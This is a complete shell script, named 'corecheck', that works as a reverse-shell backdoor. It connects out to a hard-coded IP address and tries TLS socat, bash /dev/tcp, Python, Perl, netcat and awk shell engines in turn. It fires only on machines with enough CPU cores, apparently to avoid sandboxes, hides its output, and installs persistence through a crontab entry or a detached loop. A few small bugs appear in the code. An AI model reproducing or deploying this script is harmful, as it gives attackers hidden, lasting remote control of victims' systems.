1. #!/bin/sh
  2.  
  3.  
  4. LHOST="${LHOST:-172.86.86.60}"
  5. LPORT="${LPORT:-41670}"
  6. TLS_PORT="${TLS_PORT:-41669}"
  7. CPU_MIN="${CPU_MIN:-4}"
  8. QUIET="${QUIET:-0}"
  9. TAG="corecheck"
  10.  
  11. msg() { [ "$QUIET" = "1" ] || echo "[$TAG] $*" >/dev/null 2>&1 || true; }
  12.  
  13. # ----------------------------------------------------------
  14. # cpu count: try the most available source first, and never
  15. # rely on a single syscall. Everything is guarded.
  16. # ----------------------------------------------------------
  17. cpu_count() {
  18. c=""
  19. if [ -r /proc/cpuinfo ]; then
  20. c=$(grep -c '^processor' /proc/cpuinfo 2>/dev/null)
  21. fi
  22. if [ -z "$c" ] || [ "$c" = "0" ]; then
  23. c=$(getconf _NPROCESSORS_ONLN 2>/dev/null)
  24. fi
  25. if [ -z "$c" ] || [ "$c" = "0" ]; then
  26. c=$(sysctl -n hw.ncpu 2>/dev/null)
  27. fi
  28. if [ -z "$c" ] || [ "$c" = "0" ]; then
  29. c=$(nproc 2>/dev/null)
  30. fi
  31. if [ -z "$c" ] || [ "$c" = "0" ]; then
  32. # count /sys cpu entries as last resort
  33. c=$(ls -d /sys/devices/system/cpu/cpu[0-9]* 2>/dev/null | wc -l)
  34. fi
  35. # gate fails closed on unparseable data
  36. case "$c" in
  37. ''|*[!0-9]*) c=0 ;;
  38. esac
  39. echo "$c"
  40. }
  41.  
  42. # ----------------------------------------------------------
  43. # shell engines, best-first
  44. # ----------------------------------------------------------
  45. shell_python() {
  46. py=$(command -v python3 || command -v python)
  47. [ -n "$py" ] || return 1
  48. "$py" -c "import socket,os,pty; \
  49. s=socket.socket();s.connect(('$LHOST',$LPORT)); \
  50. os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); \
  51. pty.spawn('/bin/sh')" 2>/dev/null
  52. }
  53.  
  54. shell_perl() {
  55. command -v perl >/dev/null 2>&1 || return 1
  56. perl -MSocket -e '
  57. socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or exit 1;
  58. connect(S,pack_sockaddr_in($ARGV[1],inet_aton($ARGV[0]))) or exit 1;
  59. open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
  60. exec("/bin/sh");' "$LHOST" "$LPORT" 2>/dev/null
  61. }
  62.  
  63. shell_nc() {
  64. for t in nc ncat "nc.openbsd" "nc.traditional" socat; do
  65. p=$(command -v "$t") || continue
  66. case "$t" in
  67. socat)
  68. "$p" TCP:"$LHOST":"$LPORT" EXEC:'/bin/sh',pty,stderr 2>/dev/null && return 0 ;;
  69. *)
  70. "$p" -e /bin/sh "$LHOST" "$LPORT" 2>/dev/null && return 0
  71. # -e-less netcat: fifo relay (busybox nc)
  72. rm -f /tmp/.cc.f 2>/dev/null
  73. mkfifo /tmp/.cc.f 2>/dev/null || continue
  74. ( "$p" "$LHOST" "$LPORT" < /tmp/.cc.f >/tmp/.cc.o 2>/dev/null; \
  75. rm -f /tmp/.cc.f /tmp/.cc.o ) &
  76. sleep 1
  77. sh -c 'while IFS= read -r l; do printf "%s\n" "$l" > /tmp/.cc.f; done' &
  78. wait 2>/dev/null
  79. return 0 ;;
  80. esac
  81. done
  82. return 1
  83. }
  84.  
  85. shell_awk() {
  86. command -v awk >/dev/null 2>&1 || return 1
  87. awk -v H="$LHOST" -v P="$LPORT" 'BEGIN {
  88. s = "/inet/tcp/0/" H "/" P
  89. while (1) {
  90. printf "shell>" |& s
  91. if ((s |& getline c) <= 0) break
  92. while ((c |& getline out) > 0)
  93. printf "%s\n", out |& s
  94. close(s)
  95. }
  96. }' 2>/dev/null
  97. }
  98.  
  99. # ----------------------------------------------------------
  100. # dedup: is a shell already established to LPORT?
  101. # ----------------------------------------------------------
  102. already_connected() {
  103. conn=$(ss -tn 2>/dev/null | grep -F "$LPORT" | grep -i estab)
  104. [ -n "$conn" ] && return 0
  105. conn=$(netstat -tn 2>/dev/null | grep -F "$LPORT")
  106. [ -n "$conn" ] && return 0
  107. return 1
  108. }
  109.  
  110. spawn_tls() {
  111. command -v socat >/dev/null 2>&1 || return 1
  112. socat OPENSSL:"$LHOST":"$TLS_PORT",verify=0 SYSTEM:'/bin/sh' 2>/dev/null && return 0
  113. return 1
  114. }
  115.  
  116. shell_bash() {
  117. command -v bash >/dev/null 2>&1 || return 1
  118. bash -c "exec 5<>/dev/tcp/'"$LHOST"'/'"$LPORT"'; cat <&5 | while read -r line; do eval \"\$line\" 2>&5 >&5; done" 2>/dev/null && return 0
  119. return 1
  120. }
  121.  
  122. spawn_shell() {
  123. ( spawn_tls || shell_bash || shell_python || shell_perl || shell_nc || shell_awk ) &
  124. }
  125.  
  126. # ----------------------------------------------------------
  127. # persistence: cron if possible, detached self-loop otherwise
  128. # ----------------------------------------------------------
  129. self_path() {
  130. readlink -f "$0" 2>/dev/null || printf '%s' "$0"
  131. }
  132.  
  133. persist_install() {
  134. self=$(self_path)
  135. line="*/13 * * * * $self --oneshot -q"
  136. if command -v crontab >/dev/null 2>&1; then
  137. if ( crontab -l 2>/dev/null | grep -vF "$self"
  138. printf '%s\n' "$line" ) | crontab - 2>/dev/null; then
  139. msg "cron persistence installed"
  140. return 0
  141. fi
  142. fi
  143. # no crontab or suid-less crontab: detached loop
  144. if command -v setsid >/dev/null 2>&1; then
  145. setsid sh -c "while :; do $self --oneshot --quiet; sleep 900; done" &
  146. else
  147. ( while :; do $self --oneshot --quiet; sleep 900; done ) &
  148. fi
  149. msg "detached self-loop persistence installed"
  150. return 0
  151. }
  152.  
  153. cmd_oneshot() {
  154. n=$(cpu_count)
  155. msg "detected cores: $n (gate $CPU_MIN)"
  156. if [ "$n" -ge "$CPU_MIN" ]; then
  157. if already_connected; then
  158. msg "shell already established — skip"
  159. else
  160. spawn_shell
  161. fi
  162. else
  163. msg "below core gate — not firing"
  164. fi
  165. }
  166.  
  167. cmd_test() {
  168. n=$(cpu_count)
  169. [ "$n" -ge "$CPU_MIN" ] && d=FIRE || d=SKIP
  170. echo "[$TAG] cores=$n gate=$CPU_MIN -> $d"
  171. t=""
  172. for e in python3 python perl nc ncat socat awk; do
  173. command -v "$e" >/dev/null 2>&1 && t="$t $t"
  174. done
  175. echo "[$TAG] usable engines:$t"
  176. }
  177.  
  178. cmd_install() { persist_install; }
  179.  
  180. # ----------------------------------------------------------
  181. # entry
  182. # ----------------------------------------------------------
  183. MODE="oneshot"
  184. for a in "$@"; do
  185. case "$a" in
  186. --quiet|-q) QUIET=1 ;;
  187. --oneshot) MODE="oneshot" ;;
  188. --install) MODE="install" ;;
  189. --test) MODE="test" ;;
  190. -h|--help) sed -n '2,20p' "$self_path"; exit 0 ;;
  191. esac
  192. done
  193.  
  194. case "$MODE" in
  195. oneshot)
  196. n=$(cpu_count)
  197. if [ "$n" -ge "$CPU_MIN" ]; then
  198. msg "cpu gate passed ($n >= $CPU_MIN) — firing"
  199. spawn_shell
  200. # install persistence only once
  201. if command -v crontab >/dev/null 2>&1 &&
  202. ! crontab -l 2>/dev/null | grep -qF "$self"; then
  203. persist_install
  204. fi
  205. else
  206. msg "cpu gate: $n < $CPU_MIN — not firing"
  207. if [ ! -r /proc/cpuinfo ] && ! command -v sysctl >/dev/null 2>&1 \
  208. && ! command -v getconf >/dev/null 2>&1; then
  209. msg "warning: no cpu detection source; defaulting to skip"
  210. fi
  211. fi
  212. ;;
  213. test) cmd_test ;;
  214. install) persist_install ;;
  215. esac
  216. exit 0